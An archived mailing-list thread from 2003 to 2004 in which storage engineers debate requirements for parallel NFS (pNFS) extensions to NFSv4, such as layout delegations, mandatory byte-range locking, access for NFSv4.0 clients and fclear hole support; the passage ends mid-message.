---------------------------------------------------- > David L. Black, Senior Technologist > EMC Corporation, 176 South St., Hopkinton, MA 01748 > +1 (508) 293-7953 FAX: +1 (508) 293-7786 > black_david@emc.com Mobile: +1 (978) 394-7754 > ---------------------------------------------------- > > To unsubscribe from this group, send an email to: > pnfs-ops-unsubscribe@yahoogroups.com > > > > Yahoo! Groups Links > > To visit your group on the web, go to: > http://groups.yahoo.com/group/pnfs-ops/ > > To unsubscribe from this group, send an email to: > pnfs-ops-unsubscribe@yahoogroups.com > > Your use of Yahoo! Groups is subject to: > http://docs.yahoo.com/info/terms/ > > >From julian_satran@il.ibm.com Mon Dec 29 02:11:03 2003 Return-Path: X-Sender: Julian_Satran@il.ibm.com X-Apparently-To: pnfs-reqs@yahoogroups.com Received: (qmail 82439 invoked from network); 29 Dec 2003 10:11:01 -0000 Received: from unknown (66.218.66.218) by m14.grp.scd.yahoo.com with QMQP; 29 Dec 2003 10:11:01 -0000 Received: from unknown (HELO mtagate7.de.ibm.com) (195.212.29.156) by mta3.grp.scd.yahoo.com with SMTP; 29 Dec 2003 10:11:00 -0000 Received: from d12relay01.megacenter.de.ibm.com (d12relay01.megacenter.de.ibm.com [9.149.165.180] (may be forged)) by mtagate7.de.ibm.com (8.12.10/8.12.10) with ESMTP id hBTAAqwj127908; Mon, 29 Dec 2003 10:10:52 GMT Received: from d10ml001.telaviv.ibm.com (d12av02.megacenter.de.ibm.com [9.149.165.228]) by d12relay01.megacenter.de.ibm.com (8.12.10/NCO/VER6.6) with ESMTP id hBTAApcZ253454; Mon, 29 Dec 2003 11:10:51 +0100 In-Reply-To: To: pnfs-ops@yahoogroups.com Cc: Garth Gibson , pnfs-ops@yahoogroups.com, pnfs-reqs@yahoogroups.com MIME-Version: 1.0 X-Mailer: Lotus Notes Release 6.5 September 26, 2003 Message-ID: Date: Mon, 29 Dec 2003 12:10:49 +0200 X-MIMETrack: Serialize by Router on D10ML001/10/M/IBM(Release 6.0.2CF2|July 23, 2003) at 29/12/2003 12:10:51, Serialize complete at 29/12/2003 12:10:51 Content-Type: multipart/alternative; boundary=""=_alternative 0037E92AC2256E0B_="" X-eGroups-Remote-IP: 195.212.29.156 From: Julian Satran Subject: Re: [pnfs-ops] [minimalism] pNFS Discussion Summary 1: 12/18/03 X-Yahoo-Group-Post: member; u=64714603 Garth and All, Garth Gibson wrote on 18/12/2003 07:42:22: > ---------------------------------------- > > [1.0 Minimalism]: How much additional functionality do we sacrifice to > limit the changes we seek in NFSv4? > > On one hand, some have said that getting to one true file system, with > the high performance and the manageability of federated systems that > might come with out-of-band access, is worth not matching *every* > feature of all existing out-of-band file systems with this first set of > extensions to NFSv4. That we should bite off what we can do quickly, > correctly, with a clear incremental value to NFSv4, and roadmap more > aggressive changes that could bog us down, or introduce so much > complexity that interoperability becomes elusive. And that we should > be mindful of the reception we may get from the IETF NFS working group > if we *appear* to use out-of-band as an excuse to ask for a brace of > changes in other aspects of NFSv4. > > On the other hand, the other out-of-band file systems that are > inspiring the evolution of NFSv4 have customers that may not accept any > backward sets in an evolution to NFSv4. This could create the need to > develop, carry and differentiate all the diverse one-off out-of-band > files systems plus a new out-of-band NFSv4. Some think it makes more > sense to go far enough with this first NFSv4 to simplify the > marketplace by making it reasonable for various vendors to > deprecate/end-of-life/begin to wean from their proprietary offering. > > While it is certainly conceivable that we could be designing a roadmap > of solutions in detail from the start, communication among standards > bodies is hard enough without the challenge of designing specs for both > with and without a requirement. > > This is a central issue in defining the requirements for out-of-band > NFSv4, or at least for defining the scope of the first set of > extensions. > > ---------------------------------------- > I am afraid that this text makes achieving compliance with existing out-of-band filesytems sound more complex than it might be. I see several items that we should strive to keep even in a minimalist set of requirements: * attribute set rich enough to enable expressing the attributes of the major local-filesytems (Unix brands and Windows) * access control that accommodates the access control mechanisms of the major local-filesytems and some of the popular distributed file-systems (AFS?) * coherency mechanisms that enable vendors to optionally implement the two major flavor of coherent file access: o completely coherent o close-to-open coherent None of those seem to me as involving major departures from NFSv4. Julo >From andros@citi.umich.edu Mon Dec 29 12:11:13 2003 Return-Path: X-Sender: andros@citi.umich.edu X-Apparently-To: pnfs-reqs@yahoogroups.com Received: (qmail 99698 invoked from network); 29 Dec 2003 20:11:10 -0000 Received: from unknown (66.218.66.216) by m5.grp.scd.yahoo.com with QMQP; 29 Dec 2003 20:11:10 -0000 Received: from unknown (HELO citi.umich.edu) (141.211.133.111) by mta1.grp.scd.yahoo.com with SMTP; 29 Dec 2003 20:11:10 -0000 Received: from citi.umich.edu (citi.umich.edu [141.211.133.111]) by citi.umich.edu (Postfix) with ESMTP id A223D20806; Mon, 29 Dec 2003 15:11:09 -0500 (EST) X-Mailer: exmh version 2.5 07/13/2001 with version: MH 6.8.3 #74[UCI] To: pnfs-ops@yahoogroups.com Cc: pnfs-reqs@yahoogroups.com, andros@citi.umich.edu Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Mon, 29 Dec 2003 15:11:09 -0500 Message-Id: <20031229201109.A223D20806@citi.umich.edu> X-eGroups-Remote-IP: 141.211.133.111 From: ""William A.(Andy) Adamson"" Subject: why not use mandatory byte-range locking X-Yahoo-Group-Post: member; u=169434965 the discussion of byte-range delegations and cache consistancy provoked this thought: why not use existing mandatory byte-range locking? the client opens a file, requests a (mandatory) lock on the region of the file it's interested in. the resultant lock stateid is passed as an argument to the READ/WRITE_IND request. we can require a mandatory lock stateid prior to handing out layout maps for direct i/o. the layout map is 'good 'only for as long as the byte-range lock. the mandatory lock protects the layout, so no need for layout delegations. mandatory locking also allows the client to cache and operate locally on the locked data region with cache consistancy guarentees. we already have the byte-range locking code written. so how far does this get us? does it make sense to start with the locking code instead of the delegation as far as extenstions? -->Andy >From ggrider@lanl.gov Mon Dec 29 20:10:53 2003 Return-Path: X-Sender: ggrider@lanl.gov X-Apparently-To: pnfs-reqs@yahoogroups.com Received: (qmail 30244 invoked from network); 30 Dec 2003 04:10:50 -0000 Received: from unknown (66.218.66.166) by m11.grp.scd.yahoo.com with QMQP; 30 Dec 2003 04:10:50 -0000 Received: from unknown (HELO mailwasher-b.lanl.gov) (192.16.0.25) by mta5.grp.scd.yahoo.com with SMTP; 30 Dec 2003 04:10:49 -0000 Received: from mailrelay2.lanl.gov (localhost.localdomain [127.0.0.1]) by mailwasher-b.lanl.gov (8.12.10/8.12.10/(ccn-5)) with ESMTP id hBU4AmfK005317; Mon, 29 Dec 2003 21:10:49 -0700 Received: from cic-mail.lanl.gov (localhost.localdomain [127.0.0.1]) by mailrelay2.lanl.gov (8.12.10/8.12.10/(ccn-5)) with ESMTP id hBU4AmtS026425; Mon, 29 Dec 2003 21:10:48 -0700 Received: from cthulu.lanl.gov (vpn-client-136.lanl.gov [128.165.253.136]) by cic-mail.lanl.gov (8.12.10/8.12.10/(ccn-5)) with ESMTP id hBU4AkFR002434; Mon, 29 Dec 2003 21:10:46 -0700 Message-Id: <5.2.0.9.2.20031229210957.018956f0@cic-mail.lanl.gov> X-Sender: ggrider@cic-mail.lanl.gov X-Mailer: QUALCOMM Windows Eudora Version 5.2.0.9 Date: Mon, 29 Dec 2003 21:10:44 -0700 To: pnfs-reqs@yahoogroups.com, pnfs-ops@yahoogroups.com Cc: pnfs-reqs@yahoogroups.com, andros@citi.umich.edu In-Reply-To: <20031229201109.A223D20806@citi.umich.edu> Mime-Version: 1.0 Content-Type: multipart/alternative; boundary=""=====================_3295098==.ALT"" X-Scanned-By: MIMEDefang 2.35 X-eGroups-Remote-IP: 192.16.0.25 From: Gary Grider Subject: Re: [pnfs-reqs] why not use mandatory byte-range locking X-Yahoo-Group-Post: member; u=169341185 X-Yahoo-Profile: ggriderpnfs ADVERTISEMENT As long as there is a way to ask for higher level coordination so byte range locks are not mandatory, default is ok. Thanks Gary At 03:11 PM 12/29/2003 -0500, William A.(Andy) Adamson wrote: > the discussion of byte-range delegations and cache consistancy provoked this > thought: why not use existing mandatory byte-range locking? > > the client opens a file, requests a (mandatory) lock on the region of the file > it's interested in. the resultant lock stateid is passed as an argument to the > READ/WRITE_IND request. we can require a mandatory lock stateid prior to > handing out layout maps for direct i/o. the layout map is 'good 'only for as > long as the byte-range lock. > > the mandatory lock protects the layout, so no need for layout delegations. > mandatory locking also allows the client to cache and operate locally on the > locked data region with cache consistancy guarentees. > > we already have the byte-range locking code written. so how far does this get > us? does it make sense to start with the locking code instead of the > delegation as far as extenstions? > > -->Andy > > > > To unsubscribe from this group, send an email to: > pnfs-reqs-unsubscribe@yahoogroups.com > > > > > Yahoo! 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Terms of Service. >From mclarty3@llnl.gov Tue Dec 30 09:16:21 2003 Return-Path: X-Sender: mclarty3@llnl.gov X-Apparently-To: pnfs-reqs@yahoogroups.com Received: (qmail 28819 invoked from network); 30 Dec 2003 17:16:19 -0000 Received: from unknown (66.218.66.172) by m9.grp.scd.yahoo.com with QMQP; 30 Dec 2003 17:16:19 -0000 Received: from unknown (HELO smtp-3.llnl.gov) (128.115.41.83) by mta4.grp.scd.yahoo.com with SMTP; 30 Dec 2003 17:16:19 -0000 Received: from poptop.llnl.gov (localhost [127.0.0.1]) by smtp-3.llnl.gov (8.12.3p2-20030917/8.12.3/LLNL evision: 1.13 $) with ESMTP id hBUHGH9S025152; Tue, 30 Dec 2003 09:16:17 -0800 (PST) Received: from POLARBEAR.llnl.gov ([134.9.18.59] verified) by poptop.llnl.gov (CommuniGate Pro SMTP 4.0.6) with ESMTP id 33235490; Tue, 30 Dec 2003 09:16:17 -0800 Message-Id: <5.0.0.25.2.20031230083936.02fba428@poptop.llnl.gov> X-Sender: e002801@poptop.llnl.gov X-Mailer: QUALCOMM Windows Eudora Version 5.0 Date: Tue, 30 Dec 2003 09:16:16 -0800 To: pnfs-reqs@yahoogroups.com, pnfs-ops@yahoogroups.com Cc: andros@citi.umich.edu In-Reply-To: <5.2.0.9.2.20031229210957.018956f0@cic-mail.lanl.gov> References: <20031229201109.A223D20806@citi.umich.edu> Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed X-eGroups-Remote-IP: 128.115.41.83 From: Tyce McLarty Subject: Re: [pnfs-reqs] why not use mandatory byte-range locking X-Yahoo-Group-Post: member; u=169320772 ADVERTISEMENT I'm sure I do not understand all the subtleties of byte-range delgations vs. byte-range locking, but I think the essential ingredient we are after is the ability to use some coordination across thousands of clients, like Gary says. A single process in an HPC application frequently needs to access many discontiguous byte-ranges, but the coordinated group of clients will access a large contiguous byte-range. I think it was this example that led us to the idea of layout delegations to begin with. The key is to keep thinking in terms of many parallel clients, not a single one. Thanks, Tyce At 09:10 PM 12/29/2003 -0700, Gary Grider wrote: >As long as there is a way to ask for higher level coordination so byte >range locks >are not mandatory, default is ok. > >Thanks >Gary > >At 03:11 PM 12/29/2003 -0500, William A.(Andy) Adamson wrote: >>the discussion of byte-range delegations and cache consistancy provoked this >>thought: why not use existing mandatory byte-range locking? >> >>the client opens a file, requests a (mandatory) lock on the region of the >>file >>it's interested in. the resultant lock stateid is passed as an argument >>to the >>READ/WRITE_IND request. we can require a mandatory lock stateid prior to >>handing out layout maps for direct i/o. the layout map is 'good 'only for as >>long as the byte-range lock. >> >>the mandatory lock protects the layout, so no need for layout delegations. >>mandatory locking also allows the client to cache and operate locally on the >>locked data region with cache consistancy guarentees. >> >>we already have the byte-range locking code written. so how far does this >>get >>us? does it make sense to start with the locking code instead of the >>delegation as far as extenstions? >> >>-->Andy >> >> >> >>To unsubscribe from this group, send an email to: >>pnfs-reqs-unsubscribe@yahoogroups.com >> >> >> >> >> >>---------- >>Yahoo! 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Terms of Service. >From dnoveck@netapp.com Tue Dec 30 12:08:08 2003 Return-Path: X-Sender: Dave.Noveck@netapp.com X-Apparently-To: pnfs-reqs@yahoogroups.com Received: (qmail 26134 invoked from network); 30 Dec 2003 20:08:07 -0000 Received: from unknown (66.218.66.167) by m12.grp.scd.yahoo.com with QMQP; 30 Dec 2003 20:08:07 -0000 Received: from unknown (HELO mx01.netapp.com) (198.95.226.53) by mta6.grp.scd.yahoo.com with SMTP; 30 Dec 2003 20:08:07 -0000 Received: from frejya.corp.netapp.com (frejya [10.57.157.119]) by mx01.netapp.com (8.12.10/8.12.10/NTAP-1.4) with ESMTP id hBUK86Kw003014; Tue, 30 Dec 2003 12:08:06 -0800 (PST) Received: from svlexc01.hq.netapp.com (svlexc01.corp.netapp.com [10.10.22.171]) by frejya.corp.netapp.com (8.12.9/8.12.9/NTAP-1.5) with ESMTP id hBUK86pr015864; Tue, 30 Dec 2003 12:08:06 -0800 (PST) content-class: urn:content-classes:message MIME-Version: 1.0 Content-Type: multipart/alternative; boundary=""----_=_NextPart_001_01C3CF10.A12BC55E"" X-MimeOLE: Produced By Microsoft Exchange V6.0.6249.0 Date: Tue, 30 Dec 2003 12:08:02 -0800 Message-ID: X-MS-Has-Attach: X-MS-TNEF-Correlator: Thread-Topic: [pnfs-ops] pNFS Discussion Summary 1: 12/18/03 Thread-Index: AcPIdgEt2ftUYTH2RMiubXEU2ZfttQGc/84A To: Cc: X-eGroups-Remote-IP: 198.95.226.53 X-eGroups-From: ""Noveck, Dave"" From: ""Noveck, Dave"" Subject: RE: [pnfs-ops] pNFS Discussion Summary 1: 12/18/03 X-Yahoo-Group-Post: member; u=44152831 X-Yahoo-Profile: davidnoveck It seems legal to me but I'm guessing that there are others that would think differently. I tend to think that it is not a good idea, though. There are going to be operations which, by their nature, are better done through the metadata server. A two-byte write which spans multiple data servers is an example. Another is append-writes, which have been mentioned (by whom I don't remember just now) as a desirable v4 extension, assuming the data to be written is of reasonable size. In each case, we may create appropriate caching/locking primitives to allow the operation to be done without making any request of the metadata server that is officially denominated an ""IO"" request. But can you really argue that this will be the best way for the client to do such operations? And does it really make sense to force clients to invest the effort in terms of the code do such operations doing the IO with the data server only, when the performance benefit of that is going to be small, or zero, or negative? You may wind up making as many requests of the meta-data server with the data-server-only approach. It's just that they won't be IO operations (but instead locking and, in the case of append, getattr operations). In complicated protocols (and v4 is a complicated protocol and is getting more complicated), there are going to be multiple ways of doing the same thing, which are going to differ in their performance characteristics. An organization can be reasonably concerned about clients making the wrong choice, just as it is concerned about clients that are making excessive resource demands for other reasons. There are two issues that I am worried about in taking such a drastic approach as simply refusing to support a valid piece of the protocol, even if that choice is made by the server administrator. The first is that determining the better choice depends on a lot of variables and that a simple formula governing an option (e.g. ""IO through the metadata server is bad"") is unlikely to completely match reality. The second is that I-don't-like-your-IO-request-so-you-lose is kind of a blunt instrument to deal with the problem. If you have identified some set of bad client practices, you can find the clients doing them, report the appropriate statistics, even, if the issue is critical, artificially give such clients (or specific requests) bad performance in a way that doesn't hurt other clients (unless they are waiting for the first set to do something. Sigh!), by just delaying processing of their requests by millisecond or two. That should be enough to preserve metadata-server bandwidth for more worthwhile purposes. If that's insufficiently discouraging, you can raise the delay. If you start rejecting requests because you would have done it differently, even if you are correct, you are on the road to creating your own sub-protocol, which is why this kind of thing is worrying, even if legal. -----Original Message----- From: Julian Satran [mailto:julian_satran@il.ibm.com] Sent: Monday, December 22, 2003 5:26 AM To: pnfs-ops@yahoogroups.com Cc: pnfs-ops@yahoogroups.com; pnfs-reqs@yahoogroups.com Subject: RE: [pnfs-ops] pNFS Discussion Summary 1: 12/18/03 Since I raised the issue of the metadata server not having access to all it's data servers (or at least not with adequate bandwidth) I feel compelled to say that Dave's arguments about supporting 4.0 are compelling enough to make it mandatory. The open issue is if it is legal for a ""compliant server"" to have serving data disabled by a local administrative function (the old ""must implement but may use""). Otherwise an organization that wants to discourage use of data serving through the metadata server has very little it can do to enforce policy in a way that will not affect other clients (it may do serve poorly but this still affects other clients). Julo ""Noveck, Dave"" 18/12/2003 19:21 Please respond to pnfs-ops@yahoogroups.com To , cc Subject RE: [pnfs-ops] pNFS Discussion Summary 1: 12/18/03 Good summary. I want to address the ""proxying"" issue. > [1.1 Proxying]: Operations/work that can only be done out-of-band vs > alternative access through the NFSv4 server for all operations/work If you are talking about operations in the extension (let's call it NFS-v4.x), that are not in the previous minor version (let's assume that is nfs-v4.1), then you have a choice of whether these are supported for access through the server, or only for access by the client with the data server. Let's call this the issue of proxying in the strict sense. There is another issue that people are calling ""proxying"" but is really logically distinct. That is the issue of access by the previous minor version, e.g. nfs-v4.0 or nfs-v4.1. Those versions have no concept of separate data servers and they need to be able to work. End of story. If you can't read files stored in nfs-v4.x with nfs-v4.0, you do not have a minor version without proxying. You don't have a minor version at all. I believe the working group is never going to accept that. Even if I'm wrong and you can get the working group to accept that, it is going to be very contentious and thus take up a lot of time. Anybody, who really wants to go down this path should seriously consider the trade-off between supporting something they find objectionable and getting a standard a lot later, if at all. > On one hand, some suggest that a set of out-of-band clients should not > have to also have a data path through the NFSv4 metadata server. One > reason is that customers may not tolerate the large variability in > performance between out-of-band (when the going is good) and in-band > (when the server chooses not to grant or to take away a delegation) > accesses. Then such customers will use clients that access things out-of-band whenever possible, and servers that never refuse to give out layout delegations. You have a number of quality-of-implementations issues for v4.x clients and servers. If a particular client only supports access via v4.0, then performance will suck, and the working group will understand that, but it won't accept not being able to use v4.0 at all. The customer is going to be motivated to upgrade his clients for those that need high-performance access, but he may be OK with some clients using v4.0 for a long time, depending on the particular performance those clients need. (And some will want v2/v3 access but that is a matter that the working group has no say about). > Another reason, and I paraphrase someone else here, is that > it is possible to construct out-of-band metadata servers that do not > have access to the data servers except through the clients -- I > encourage the source of this scenario to replace my paraphrasing with a > correct use case, because I find it odd to design for file servers that > do not have access to the data servers. So let's grant that it is possible (and we'll pass over the issue of whether it is desirable, and in fact so desirable that one is willing to not get a standard and or get it much later). So we have a metadata server and it, for whatever reason, does not have access to the data servers. However, by hypothesis, there are machines (e.g. clients), that can communicate with both. So, if one has such an architecture, then one can take such a machine, give it a communication path to the meta-data server and the data server and have the meta-data server transfer v4.0 READ requests to it, let it read the data from the data server and send it back to the meta-data server who send it back to the original requestor. Is that a very good solution? No. Is it likely to be performant? No. Will it satisfy any particular customer? I don't know and that is the implementer's business decision. Will it satisfy the hypothetical customer who doesn't care about v4.0 access? Clearly. Will it satisfy the v4 working group? Yes, because they are not in the business of telling you how performant v4.0 access has got to be. > On the other hand, others have suggested that any access or work that a > client can do out-of-band should be possible with one or more commands > applied to the metadata server's data path. This has been proposed for > coping with recalled delegations, including concurrent writing by > multiple clients; retry after client access errors, provided adequate > idempotency of out-of-band operations; and many alternative > implementations of out-of-band clients, including legacy clients that > use out-of-band never or rarely. This effort is going to take a while, but if we manage it correctly, it is not going to take so long that v3 clients are going to be rare things, and they have to be supported. But v3 clients are not an issue for the working group. V4.0 clients are and they will be around and you will have to support them, and I believe the working group is not going to be disposed to cut you a lot of slack on this issue (and I don't see why it should). > I think this is a topic that should be argued one way or the other in > the requirements document. Use cases and examples in other systems > would be best. I think the requirement should be that this work should be done as a set of extensions to nfs-v4 delivered as a v4 minor version. If there is some feature/requirement that conflicts with that model (and it is a pretty flexible one), then you have to think long and hard before deciding that that requirement is more important than this basic deivery vehicle, because it seems to me that it is, in almost all respects, the ideal way to make this sort of technology available for widespread use. To unsubscribe from this group, send an email to: pnfs-ops-unsubscribe@yahoogroups.com Yahoo! Groups Links To visit your group on the web, go to: http://groups.yahoo.com/group/pnfs-ops/ To unsubscribe from this group, send an email to: pnfs-ops-unsubscribe@yahoogroups.com Your use of Yahoo! Groups is subject to: http://docs.yahoo.com/info/terms/ To unsubscribe from this group, send an email to: pnfs-ops-unsubscribe@yahoogroups.com Yahoo! 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Terms of Service. >From black_david@emc.com Fri Jan 02 08:45:29 2004 Return-Path: X-Sender: Black_David@emc.com X-Apparently-To: pnfs-reqs@yahoogroups.com Received: (qmail 73456 invoked from network); 2 Jan 2004 16:45:24 -0000 Received: from unknown (66.218.66.166) by m18.grp.scd.yahoo.com with QMQP; 2 Jan 2004 16:45:24 -0000 Received: from unknown (HELO mxic2.corp.emc.com) (128.221.12.9) by mta5.grp.scd.yahoo.com with SMTP; 2 Jan 2004 16:45:23 -0000 Received: by mxic2.corp.emc.com with Internet Mail Service (5.5.2653.19) id ; Fri, 2 Jan 2004 11:45:23 -0500 Message-ID: To: pnfs-ops@yahoogroups.com, pnfs-reqs@yahoogroups.com, pnfs-sbc@yahoogroups.com Date: Fri, 2 Jan 2004 11:45:21 -0500 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain X-eGroups-Remote-IP: 128.221.12.9 From: black_david@emc.com Subject: Two Functionality issues X-Yahoo-Group-Post: member; u=82420288 X-Yahoo-Profile: dlb237 In starting to look at design issues for block metadata, I've run across a couple of issues around functionality to be supported that could use wider discussion. This is based on an initial review of the EMC High Road FMP protocol and the IBM StorageTank SAN.FS protocol. I've tried to just describe the issues here without taking a position. [4] Functionality SAN.FS extents come with both read and write extent mappings and block usage bitmaps. The separate read and write mappings allow for clients to participate in copy-on- write functionality - IIRC, Craig has described this. Issue [4.1]: Should protocol include support for client participation in copy-on-write? A motivation for the separate arrays of block usage bits"" appears to be allowing clients to turn file data into holes (e.g., AIX fclear system call). Issue [4.2]: Is the ability to turn valid data into a file ""hole"" (e.g., AIX fclear) at the client important to support? FMP does not support separate read mappings or usage bitmaps, and hence is not capable of involving clients in copy-on-write or allowing a client to turn valid data into a file ""hole"". Comments? Thanks, --David ---------------------------------------------------- David L. Black, Senior Technologist EMC Corporation, 176 South St., Hopkinton, MA 01748 +1 (508) 293-7953 FAX: +1 (508) 293-7786 black_david@emc.com Mobile: +1 (978) 394-7754 ---------------------------------------------------- >From dnoveck@netapp.com Mon Jan 05 08:00:09 2004 Return-Path: X-Sender: Dave.Noveck@netapp.com X-Apparently-To: pnfs-reqs@yahoogroups.com Received: (qmail 73569 invoked from network); 5 Jan 2004 16:00:05 -0000 Received: from unknown (66.218.66.167) by m3.grp.scd.yahoo.com with QMQP; 5 Jan 2004 16:00:05 -0000 Received: from unknown (HELO mx01.netapp.com) (198.95.226.53) by mta6.grp.scd.yahoo.com with SMTP; 5 Jan 2004 16:00:05 -0000 Received: from hawk.corp.netapp.com (hawk [10.57.156.122]) by mx01.netapp.com (8.12.10/8.12.10/NTAP-1.4) with ESMTP id i05G04Kw001147; Mon, 5 Jan 2004 08:00:04 -0800 (PST) Received: from svlexc01.hq.netapp.com (svlexc01.corp.netapp.com [10.10.22.171]) by hawk.corp.netapp.com (8.12.9/8.12.9/NTAP-1.5) with ESMTP id i05G00SX005409; Mon, 5 Jan 2004 08:00:04 -0800 (PST) content-class: urn:content-classes:message MIME-Version: 1.0 Content-Type: text/plain; charset=""iso-8859-1"" Content-Transfer-Encoding: quoted-printable X-MimeOLE: Produced By Microsoft Exchange V6.0.6249.0 Date: Mon, 5 Jan 2004 07:59:50 -0800 Message-ID: X-MS-Has-Attach: X-MS-TNEF-Correlator: Thread-Topic: [pnfs-reqs] Two Functionality issues Thread-Index: AcPRT9ZJdxsdz5loSIqJV3CopbvMEAB0UrSg To: , , X-eGroups-Remote-IP: 198.95.226.53 X-eGroups-From: ""Noveck, Dave"" From: ""Noveck, Dave"" Subject: RE: [pnfs-reqs] Two Functionality issues X-Yahoo-Group-Post: member; u=44152831 X-Yahoo-Profile: davidnoveck With regard to issue 4.2, the fclear operation, I don't have a position on whether this is important to do but I am pretty sure that if we do this, it should not be by means of something limited to the block metadata. If people need this, we should do this via an ordinary v4.x operation, which I'll call FCLEAR for now. The operation of turning a written area into a hole has three visible consequences: 1) The written data within the targeted area vanishes and is replaced by zeros as seen by ordinary v4.0 clients and also in pnfs environments where the metadata format is file or object oriented. 2) Mod a whole bunch of server policy stuff (snapshots, etc.) the disk space previously used is made available (No real guarantees but clients may want to do this to make space available and in many environments they will be able reliably to get the results they desire). 3) The SAN metadata will show the targeted area as a hole. So I would argue that, given that this has visible consequences for all sorts of clients it should be done in a common way, even though the most definitive manifestation of the function is via the SAN metadata. Consider a client implementing the fclear function. Even though a test program might depend on 3), real applications that want this functionality are going to be most interested in 1) and 2). If this function were implemented only through the SAN metadata, what is the client to do to give the application the expected behavior? You can get 1) expensively by writing lots of zeros, but for 2) you are stuck. The result is that even applications that don't explicitly or implicitly depend on 3) are burdened by the fact that fclear support in not universally available. We want to have a single protocol and not three protocols. So I think this means that functionality should only be restricted to a single form of metadata if the consequences of that functionality can only be seen through that form of metadata, which isn't the case here. -----Original Message----- From: black_david@emc.com [mailto:black_david@emc.com] Sent: Friday, January 02, 2004 11:45 AM To: pnfs-ops@yahoogroups.com; pnfs-reqs@yahoogroups.com; pnfs-sbc@yahoogroups.com Subject: [pnfs-reqs] Two Functionality issues In starting to look at design issues for block metadata, I've run across a couple of issues around functionality to be supported that could use wider discussion. This is based on an initial review of the EMC High Road FMP protocol and the IBM StorageTank SAN.FS protocol. I've tried to just describe the issues here without taking a position. [4] Functionality SAN.FS extents come with both read and write extent mappings and block usage bitmaps. The separate read and write mappings allow for clients to participate in copy-on- write functionality - IIRC, Craig has described this. Issue [4.1]: Should protocol include support for client participation in copy-on-write? A motivation for the separate arrays of block usage bits"" appears to be allowing clients to turn file data into holes (e.g., AIX fclear system call). Issue [4.2]: Is the ability to turn valid data into a file ""hole"" (e.g., AIX fclear) at the client important to support? FMP does not support separate read mappings or usage bitmaps, and hence is not capable of involving clients in copy-on-write or allowing a client to turn valid data into a file ""hole"". Comments? Thanks, --David, +1 (508) 293-7953 FAX: +1 (508) 293-7786 black_david@emc.com Mobile: +1 (978) 394-7754 ---------------------------------------------------- Yahoo! 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Groups is subject to: http://docs.yahoo.com/info/terms/ >From andros@citi.umich.edu Mon Jan 05 10:27:41 2004 Return-Path: X-Sender: andros@citi.umich.edu X-Apparently-To: pnfs-reqs@yahoogroups.com Received: (qmail 26235 invoked from network); 5 Jan 2004 18:27:40 -0000 Received: from unknown (66.218.66.217) by m18.grp.scd.yahoo.com with QMQP; 5 Jan 2004 18:27:40 -0000 Received: from unknown (HELO citi.umich.edu) (141.211.133.111) by mta2.grp.scd.yahoo.com with SMTP; 5 Jan 2004 18:27:39 -0000 Received: from citi.umich.edu (citi.umich.edu [141.211.133.111]) by citi.umich.edu (Postfix) with ESMTP id 07168207D3; Mon, 5 Jan 2004 13:27:38 -0500 (EST) X-Mailer: exmh version 2.5 07/13/2001 with version: MH 6.8.3 #74[UCI] To: pnfs-ops@yahoogroups.com Cc: pnfs-reqs@yahoogroups.com, andros@citi.umich.edu In-reply-to: Your message of ""Mon, 29 Dec 2003 13:00:02 PST."" Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Mon, 05 Jan 2004 13:27:37 -0500 Message-Id: <20040105182738.07168207D3@citi.umich.edu> X-eGroups-Remote-IP: 141.211.133.111 From: ""William A.(Andy) Adamson"" Subject: Re: [pnfs-ops] why not use mandatory byte-range locking X-Yahoo-Group-Post: member; u=169434965 > Andy Adamson wrote: > > the discussion of byte-range delegations and cache consistancy provoked this > > thought: why not use existing mandatory byte-range locking? > > > the client opens a file, requests a (mandatory) lock on the region of the file > > it's interested in. the resultant lock stateid is passed as an argument to the > > READ/WRITE_IND request. we can require a mandatory lock stateid prior to > > handing out layout maps for direct i/o. the layout map is 'good 'only for as > > long as the byte-range lock. > > One problem is that there is no way for the client to specify that he wants > a mandatory (as opposed to advisory) byte-range lock, he just asks for one > and the server gives him the type of byte-range that server is giving out > for that fs. So, if you did that, applications that relied on the semantics > (or lack of semantics) of advisory byte-range locks would break. From 3530 5.11.5. Mode Attribute ...... Note that in UNIX, if a file has the MODE4_SGID bit set and no MODE4_XGRP bit set, then READ and WRITE must use mandatory file locking. so for unix, there is a way to specify mandatory vrs advisory locking. since this is also in 3530: 8. File Locking and Share Reservations ..... These mechanisms can implement policy ranging from advisory only locking to full mandatory locking. adding a flag to a LOCK/T/U to indicate mandatory locking vrs advisory is within reason. > Another issue is that while you say ""'good' only for as long as the byte-range > lock"", the results of doing this are that the layout map and the data will > be fixed for at least as long as the byte-range lock exists, i.e. sometimes > too long. If I'm going to be reading directly from the data server, then > I want the layout to stay constant for a long time, or at least I don't want > to be forced to repeatedly get locks for small areas of the layout. The > obvious (and desirable) thing for me to do is to get a shared lock for the > whole file so the layout cannot change, but if we combine changes of layout > and changes of data under a single sort of lock, mandatory byte-range locks > in this case, we have stopped anybody writing in the file for a very long > time, i.e. essentially forever since my lease will normally be continually > renewed. > > When you combine a guarantee that the layout will not change with a guarantee > that the data will not change, in such a way that they can't be separated, > you artificially increase the amount of conflicts, in many cases to an > unacceptable level. perhaps i'm missing something, but isn't it the case the layout of the data and the abilty to access the data are totally bound together? the layout changes due to writes and appends (other??). if the layout changes, stale layout maps are not only no longer any good, they can lead to data corruption. it seems to me that the guarentee that the layout won't change is bound to the guarentee that the data won't change. i can't think of any conflicts such as you mention - could you give some examples? > When you have a delegation model, the problem is > excessive recalls, while when you have a locking model the problem is that > some applications will slow to a crawl/halt. > > > the mandatory lock protects the layout, so no need for layout delegations. > > mandatory locking also allows the client to cache and operate locally on the > > locked data region with cache consistancy guarentees. > > If you are going to be doing some local operation, then short-term mandatory > byte-range locking can help you. If need to do a lock/fetch/update/write/unlock > cycle on a record, this is the ticket (and in v4 lock/fetch and write/unlock > can be COMPOUND's :-). The record you hold while updating can be considered > cached for that brief period. If, however, you are caching data generally, > i.e. for a period outside the range of a short operation sequence, you are > going to need something that is delegation-like, in that if I have the > cached data and want to keep it until there is some reason to get rid of > it, i.e. it is LRU'd out or there is a conflict, then I have to have some > way of finding out that there is a conflict. Delegations do that via a > recall and one can imagine it being done other ways. But the mandatory > lock model is that I have a lock because I need it and so there is no > provision to tell me that someone else has a conflict. The logic is that > he will wait until I give the lock up, and waiting for the cached data to > be LRU'd is going to be too long in most cases. > i agree that the ability for the server to recall is a required feature. i'm simply suggesting that mandatory locking may have more features in common with what we need for pnfs than delgations, and that we could extend the existing mandatory 